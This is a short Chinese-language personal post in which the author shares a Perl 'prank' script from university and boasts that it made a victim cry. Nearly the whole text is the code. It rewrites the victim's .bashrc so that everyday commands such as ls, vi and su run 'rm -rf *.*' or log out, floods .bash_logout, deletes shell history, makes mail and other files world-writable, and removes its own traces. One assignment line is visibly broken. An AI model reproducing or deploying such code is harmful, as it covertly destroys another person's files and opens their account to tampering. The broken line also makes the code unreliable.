年少疯狂

这是我在大学时代写过最恐怖的整人程式。有人被整过，当然她欲哭无泪。这是当时的程式码。语言为PERL

@array = ("logout", "logout", "rm -rf *.*", "logout", "rm -rf *.*",
"logout");
@array2 = ("vi", "emacs", "pine", "lpr", "ls", "su");

`pwd > file.txt`;

open(FILE2, "> file.txt");
open(FILE, "> .bashrc");
open(FILE3,">.bash_logout");

print FILE "# User specific aliases and functions\n";

for($i = 0; $i < 6; $i++)
{
print FILE "alias $array2[$i] ='$array[$i]'\n";
}
`chmod 077 .bashrc`;

$a = ;
print FILE "# Source global definitions\n";
print FILE "if [ -f /etc/bashrc ]; then\n";
print FILE " . /etc/bashrc\n";
print FILE "fi\n";
print FILE "\n";
for($l = 0; $l < 1000000; $l++)
{
print FILE3 "ThIs ScRiPt iS WriTtEn bY KePlEr aUtO-GeNeRaTeD dAeMon\n";
}

`rm $a .bash_history`;

close(FILE);

@array3 = ("$a Mail", "$a Mailbox", "$a mail");

for($j = 0; $j < 3; $j++)
{
`chmod 777 $array3[$j]`;
}

`chmod -Rf 777 $a *.*`;
close(FILE3);
close(FILE2);

@array4 = ("file.txt", "ijc.pl");

for($k = 0; $k < 2; $k++)
{
`rm $array4[$k]`;
}